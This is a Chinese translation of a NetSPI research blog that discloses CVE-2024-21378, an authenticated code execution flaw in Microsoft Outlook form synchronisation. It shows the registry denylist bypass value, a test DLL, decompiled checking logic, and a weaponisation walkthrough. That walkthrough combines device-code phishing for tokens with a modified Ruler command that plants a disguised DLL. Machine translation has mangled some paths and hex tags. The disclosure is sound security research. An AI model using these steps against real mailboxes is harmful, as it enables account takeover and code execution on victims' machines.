CVE-2024-21378 — Microsoft Outlook 中的远程代码执行

2023 年，NetSPI 发现 Microsoft Outlook 容易通过同步表单对象受到经过身份验证的远程代码执行 (RCE) 攻击。本博客将介绍我们如何发现CVE-2024-21378并通过修改Ruler（ SensePost 发布的 Outlook 渗透测试工具）将其武器化。请注意，包含概念验证代码的拉取请求即将发布，以便为组织提供足够的时间进行修补。

漏洞概述

SensePost (Orange CyberDefense) 的Etienne Stalmans于 2017 年记录了此攻击的原始变体，并利用 Outlook 表单对象内的 VBScript 代码来获取可访问邮箱的代码执行。作为回应，发布了一个补丁来强制将自定义表单中的脚本代码列入白名单。然而，这些表单对象的同步功能从未改变。 

在下面，表单使用IPM.Microsoft.FolderDesign.FormsDescription对象进行MAPI同步。这些对象带有特殊的属性和附件，用于在客户端首次使用表单时“安装”表单。以下是此过程的概述： 

1.Outlook 请求特定消息类 ( IPM.Note.Evil ) 的实例化。  

2.针对IPM.Microsoft.FolderDesign.FormsDescription对象，查阅相关文件夹的 MAPI 关联内容表。  

3.如果PidTagOfflineAddressBookName属性中存储的类名 匹配，则表单安装过程启动。  4.PidTagOfflineAddressBookDistinguishedName用作新表单安装的 CLSID（所有表单都是 COM 对象）  。 

5.表单描述的第一个附件和特殊属性0x6902001F确定需要在 CLSID 下添加哪些注册表项才能安装表单。 

• 在旧式表单（“绕过 Outlook 的表单”）中，这些注册表值通常包括 InProcServer 项或与提取到磁盘的 DLL 绑定的等效项。 

• 在较新的表单中，特定于 Outlook 的MsgClass键用于将表单绑定到提取到磁盘的 OLE 对象。 

• 在这些键中的任何一个中，%d可用于引用剩余表单附件的提取目录 ( %localappdata%MicrosoftFORMS)。 

6.确认注册表更改后，Outlook 继续将表单作为 COM 对象加载。 

这个过程存在一些严重的问题： 

★将附件提取到%localappdata%MicrosoftFORMS时，可以通过PidTagAttachFilename属性执行路径遍历。您还可以将多个文件写入磁盘。这本质上是在安装表单时的任意磁盘写入原语。 

★为表单创建注册表项时，0x6902001F属性数据被预期key=value行的换行符破坏。处理每一行，其中key是 CLSID 根的子键，value是该键的默认值。为了防止“绕过 Outlook 的表单”，将典型 COM 服务器密钥（InProcServer、LocalServer等）的拒绝列表与每行的开头(OLMAPI32.DLL) 进行比较。但是，在安装该值时，您可以使用前导 字符来表示 HKCR 下的完整子项路径。例如，CLSID<CLSID>InprocServer32=%devil.dll将绕过拒绝列表检查并导致表单的完整 COM 对象注册。

我们发现我们能够在磁盘上创建任意文件，以及在 HKEY_CLASSES_ROOT (HKCR) 下安装任意注册表项（具有默认值）。这些原语足以获得微不足道的 RCE。

深入分析

通俗地说，我们认为这是一系列攻击的第四次迭代，其前提是使用受损的凭据通过 Exchange 同步对象。2015 年底，Dreadnode 联合创始人 Nick Landers 发表了一篇关于滥用 Outlook 规则进行 RCE 的博客。在接下来的几年里，Etienne (SensePost) 和 Nick Dual 发现了另外两组向量，这些向量最终被 Microsoft 修补，其中包括对 Outlook Forms 的滥用。SensePost 发布了一组优秀的博客（请参阅参考资料），深入研究了漏洞和底层技术以及利用工具Ruler。 

我们打算重新进行这项研究，因为我们认为 Outlook 具有巨大的、尚未充分开发的攻击面，而我们过去几年在设备代码网络钓鱼/语音钓鱼方面的屡次成功是我们需要的最后推动力。  

我们通过从 Outlook 客户端以及MFCMAPI和 ProcMon手动探索Outlook 表单开始我们的研究。我们将对底层技术进行高层次的概述，但本质上，通过 Outlook 提供的各种项目（消息、日历邀请、任务等）都是通过“检查器窗口”中的表单结构显示的。Outlook 既包含标准表单，又允许通过 Exchange（包括 Exchange Online）发布和同步的自定义表单。 

在我们的研究过程中，我们发现了可用于安装自定义表单的表单配置文件格式。特别令人感兴趣的是文件和注册表项。

文件条目列出了表单库维护的表单服务器应用程序可执行文件，并在表单启动时加载到磁盘缓存中的新子目录中...  

每当使用文件条目时，都会使用注册表条目，它标识了表单的注册表项表单库，其中存储表单服务器应用程序的可执行文件......

我们首先尝试证明本地代码执行。下面是一个示例表单配置，我们可以将其直接导入 Outlook 来安装表单。我们将文件条目设置为我们想要通过表单安装的 DLL 的位置，并将该文件保存到 c:pochello.cfg。 

[Description] MessageClass=IPM.Note.Hello CLSID={00000000-1234-1234-1234-000000000000} DisplayName=Hello Category=Standard Subcategory=Form Comment=Hello SmallIcon=C:WindowsSysWOW64OneDrive.ico LargeIcon=C:WindowsSysWOW64OneDrive.ico [Platforms] Platform1=Win16 [Platform.Win16] CPU=ix86 OSVersion=Win3.1 File = C:pochello.dll Registry = InprocServer32 = %dhello.dll

出于测试目的，我们在DllMain中编译了一个带有执行原语的DLL，并再次将其放置在与上面的hello.cfg文件相同的文件夹中。

#include <Windows.h> BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) {      if (reason == DLL_PROCESS_ATTACH) {      MessageBoxA(0, "Hello", "Ruh Roh", 0);      }      return TRUE;}

然后，通过导航到文件->选项->高级->自定义表单并选择hello.cfg文件，可以使用配置文件在Outlook中安装表单。注意：我们在通过配置文件安装自定义表单时将位置设置为“目录”。导航到表单管理器

安装自定义表单配置文件到Windows文件夹中

n窗体已安装

然后，我们继续选择开发人员选项卡->选择表单并打开新创建的表单。

正在尝试打开新安装的表单

好吧，不太理想，但我们记得在安装表单配置文件时看到了一个潜在的相关配置。我们进行更改并重试。

自定义表单选项与我们以前的选择相关

更好！我们确认了一个任意DLL的执行，但我们仍然有一些有用的东西要做。在后端，在安装表单时，配置文件被转换为IPM.Microsoft.FolderDesign.FormsDescription消息类对象，并存储在Outlook的Outlook目录中。从开发人员选项卡中选择自定义表单后，检查相关的注册表项，发现我们的DLL存储在%localappdata%MicrosoftFORMSIPM中。注意：您好，不仅确认执行，而且确认看似任意的注册表写入，以及文件写入磁盘。

Homing In

为了更好地了解在引擎盖下发生了什么，我们开始使用MFC浏览Outlook的内容。Outlook包含您的电子邮件，但它也是一个数据库，我们可以将MFC视为本质上是一个数据库探索工具，它为您提供对Outlook客户端中不可见的属性和对象的访问。在MFC中，我们右键单击我们的表（因为这是我们保存自定义表单的地方），然后导航到“Open associated contents table”按钮，在那里我们找到了新表单及其各种属性。

查看我们的目录文件夹的隐藏内容表

当我们探索如何重新创建IPM.Microsoft.FolderDesign.FormsDescription

当我们在代码中使用对象时，我们开始问自己，“可以安装的窗体和'绕过Outlook'的窗体之间有什么区别？是什么让你下这样的决心？”

似乎最直接相关的属性是“PidTagOfflineAddressBookDistinguishedName”或“PR_OAB_DN”。这个属性标记包含了我们在配置文件中分配的COM CLSID，它最终定义了表单最终注册的COM CLSID。这很有趣，因为我们似乎可以在HKCR下创建任何注册表项并设置它的（默认）值。此外，如果CLSID是任意的，那么是什么阻止我们放入现有对象的CLSID并执行经典的COM劫持？同样，SensePost提供了这些属性标签及其重要性的概述，因此我们将避免在这里重复相同的内容。

IPM.Note.Hello窗体的属性标记及其值

然后，我们右键单击表单，选择“显示->显示附件表”，发现表单包含几个附件，包括要通过表单消息对象注册的DLL。在第一个附件中，我们还在几个属性标记中找到了注册表项信息。我们注意到PR_ATTACH_DATA_BIN属性似乎并不重要，因为我们可以挖空内容并将表单同步回Outlook，而不会产生任何影响。我们发现0x 6902001 F的值

属性确定了需要在CLSID下添加哪些注册表项来安装表单-另一个看似关键的组件。在第一个附件中，我们还在几个属性标记中找到了注册表项信息。

MFC中的表单附件表

然后，我们使用Ruler向自己发送一个用于执行VBScript的表单，并开始将其与COM DLL执行表单进行比较。查看结果，我们确认在0x6902001F属性标记中传递的值用于设置注册表项。

测试0x6092001F属性标记中的各种输入

查看注册表结果

我们还发现，添加InProcServer32，到VBScript表单键，并通过MFC将表单同步回Outlook会导致失败，因为我们会收到“无法安装绕过Outlook的表单”错误。我们可以清楚地看到这是一个denylist，因为我们设置的任何其他键都将被创建。

这给我们带来了一个新的问题，第一个问题是，这种否定性是在哪里实现的？我们是否可以通过替代的注册表项绕过这个拒绝列表，这些注册表项不会在拒绝列表上，但仍然允许我们获得代码执行或执行COM劫持？他们限制了吗？如果我们提供一个已经存在的CLSID的URL，它会工作，附加到注册表，还是失败？但话说回来，这似乎是任意的，我们在表单中放入的任何密钥都会被创建出来，这对我们来说似乎是一个糟糕的策略。

我们决定开始寻找拒绝名单发生的地方。这是一个有点棘手，因为Outlook是一个野兽反编译，但我们可能能够得到那里的帮助下，从ProcMon。我们打开ProcMon并再一次执行表单，专门为我们的COM对象进行过滤。

在进程监视器中查看堆栈

正如您在上面看到的，堆栈中RegOpenKeyExA之前的最后一个调用来自OLMAPI32.DLL中的函数调用。我们开始反编译OLMAPI32.DLL，并在函数及其引用ScOpenRegKey -> RegisterFormClass -> HrDownloadFormFiles中漫游，直到我们最终遇到一个熟悉的属性标记0x 6902001 F！我们找到了0x 6902001 E，它是原始属性标记的ASCII版本。

跳转到我们在ProcMon中识别的地址

检查对ScOpenRegKey的引用并发现RegisterFormClass

选择对RegisterFormClass的引用

在RegisterFormClass函数中发现我们感兴趣的属性标记

再次查看RegisterFormClass，我们找到了check函数（sub_1803DF094）和denylist变量（v8 =（LPCSTR *）off_1806DAB0）。

注意：为了清晰起见，下面的一些变量和函数名称已经修改。

check函数和denylist变量（名称已修改）

我们追求的denylist变量

回顾denylist检查和安装之间的增量，我们发现一个简单的旁路，使用相对路径，在每个新行前面加上“"。例如，“InprocServer 32 =%devil.dll”被阻止，而

“CLSID{00000000-1234 - 1234-FEED 0000000}InprocServer32=%devil.dll”

未被阻止。

__int64 ApplyRegistryKeysFromString(HKEY regKey, LPCSTR path, LPCSTR lpSubKey, char *value) {    HKEY hKey = 0;    int pathLen = strlen(path);    char *block = strdup(value);    if (!block) return 2147942414;    char *lineStart = block;    while (lineStart && *lineStart) {        const char *lineEnd = strchr(lineStart, 10);        if (lineEnd) {            *lineEnd = 0;            lineEnd++;        }        char *equalSign = strchr(lineStart, 61);        const char *keyValue = equalSign ? equalSign + 1 : “SzNull”;        if (equalSign) *equalSign = 0;        if (*lineStart == ‘\’) {            if (ScOpenRegKey(&hKey, HKEY_CLASSES_ROOT, lineStart + 1, 2, 1) == 0) {                if (RegSetValueA(hKey, 0, 1, keyValue, strlen(keyValue)) != 0) {                    return -2147221167;                }            }        } else {            if (ScSetRegValue(&hKey, regKey, lineStart, keyValue, strlen(keyValue)) != 0) {                return -2147221167;            }        }        lineStart = (char *)lineEnd;    }    free(block);    return 0;}

我们的研究表明，作为一个经过身份验证的用户，我们可以：

• 在HKCR下创建任何注册表项并设置该项的（默认）值

• 将任意数量的文件放置在磁盘上的任意位置

• 创建一个表单，执行该表单时将导致Outlook通过CLSID加载注册的COM对象。

武器化

正如本文开头所提到的，我们研究的主要驱动力是我们在 红队参与期间成功地滥用了设备代码身份验证令牌。在识别出可利用远程代码执行的漏洞后，我们继续分叉并修改 Ruler 以支持通过受损的 访问令牌对 Exchange Online 进行身份验证。我们考虑了各种执行技术，但为了概念验证的目的，我们通过添加代码来同步包含执行任意 COM 兼容本机 DLL 所需属性的表单来保持简单。包含 PoC 代码的公共分叉以及稍后对原始存储库的拉取请求将在此处找到。 

我们立即发现了一些最初的 OpSec 问题：

• 触发表单需要用户交互才能执行（尽管进一步挖掘可能会揭示自动执行）。

• 该DLL将被提取到众所周知的FORMS目录中，可以监控该目录以防止历史攻击。

• 注册表中的 CLSID 更改由 Outlook 进程执行。

• 该 DLL 将被加载到 Outlook 进程中。

下面我们提供了一般利用流程的高级概述：

1.获取目标用户的凭证材料。 

2.创建我们想要执行的 COM 兼容 DLL。 

3.向 Ruler 指定我们的凭证材料、DLL 和其他必需/可选参数。

4.Ruler 将向 Exchange Server/Exchange Online 进行身份验证，并将表单作为电子邮件发送。 

5.然后，用户需要通过在 Windows 设备上的 Microsoft Outlook 胖客户端单击、转发或打印电子邮件来触发表单。 

6.执行该表单将创建注册表项、将 DLL 放入磁盘并将 DLL 加载到 Outlook 进程中。

从设备代码到执行的演练

在本节中，我们将详细介绍该问题的实际利用。首先，我们使用我们选择的武器（在本例中为 TokenTactics ）通过设备代码网络钓鱼/语音钓鱼获取刷新令牌。

PS C:TokenTactics> Import-Module .TokenTactics.psd1PS C:TokenTactics> Get-AzureToken -Client Outlookuser_code        : L78NMWTT3device_code      : [REDACTED]              verification_url : https://microsoft.com/deviceloginexpires_in       : 900interval         : 5message          : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code L78NMWTT3 to authenticate.authorization_pendingtoken_type     : Bearerscope          : AuditLog.Read.All [TRUNCATED]expires_in     : 8492ext_expires_in : 8492expires_on     : 1697842572not_before     : 1697833779resource       : https://graph.microsoft.com/access_token   : eyJ0[REDACTED]PS C:TokenTactics> $response.access_token | clip

编译 COM DLL 后，我们使用 Ruler 分支发送表单。下面是一个标尺命令示例，请注意所提供参数的顺序很重要。Ruler 将使用我们的 Outlook 访问令牌向 Exchange Online 进行身份验证，并以包含 DLL 文件的电子邮件形式发送表单。 

$ go run .ruler.go --token "[REDACTED]" --email [email protected] --o365 --debug form add-com --dll evil.dll --suffix Evil -s[+] Found cached Autodiscover record. Using this (use --nocache to force new lookup)[+] Create Form Pointer Attachment with data:  CLSID{00000000-1234-1234-1234-FEED00000000}InprocServer32=%dMicrosoft.Teams.Shim.dllStarting UploadWriting final piece 0 of 0[+] Create Form Template AttachmentStarting UploadWriting 0 of 43[TRUNCATED]Writing final piece 43 of 43[+] Form created successfully:  IPM.Note.Evil[+] Sending email.[+] Email sent!

同样，在上面的示例中，我们创建了一个新表单并向受感染的电子邮件帐户（从其本身）发送了一封触发电子邮件。尽管已安装表单，但除非从 Outlook 胖客户端中单击（在预览窗格中查看）、转发或打印触发电子邮件，否则不会执行该表单。 

让我们看一下 add-com 表单中新功能的一些可能的参数。

$ go run ruler.go form add-com -h                                                                                                                                                         NAME:   ruler form add-com - creates a new COM based form.USAGE:   ruler form add-com [command options] [arguments...]OPTIONS:   --suffix value           A 3 character suffix for the form. Defaults to pew (default: "pew")   --dll value, -d value    A path to a the COM DLL file to execute   --clsid value, -c value  CLSID to use for the remote registration (default: "random")   --name value, -n value   The DLL name on the remote system (default: "Microsoft.Teams.Shim.dll")   --hidden                 Attempt to hide the form.   --send, -s               Trigger the form once it's been created   --body value, -b value   The email body you may wish to use (default: "This message cannot be displayed in the previewer.nnnnn")   --subject value          The subject you wish to use, this should contain your trigger word (default: "Exchange Quarantine Report")

显然，读者还需要考虑一些 OpSec 因素。

结论

Microsoft 已发布CVE-2024-21378补丁 （请参阅适用于您的 Outlook 和/或 Office 版本的 MSRC 更新指南），我们希望推迟发布这篇文章能让组织抢占先机。我们还希望这能让人们重新关注我们认为尚未充分探索的攻击面（以及一些保护措施有多浅）。发现漏洞并绕过它并不太复杂——我们采用了正常的黑客式方法，试图进一步加深我们对底层技术和协议的理解，更不用说，建立在以前的研究之上肯定会有所帮助。

原文地址：

https://t.co/7ELyXiPiBi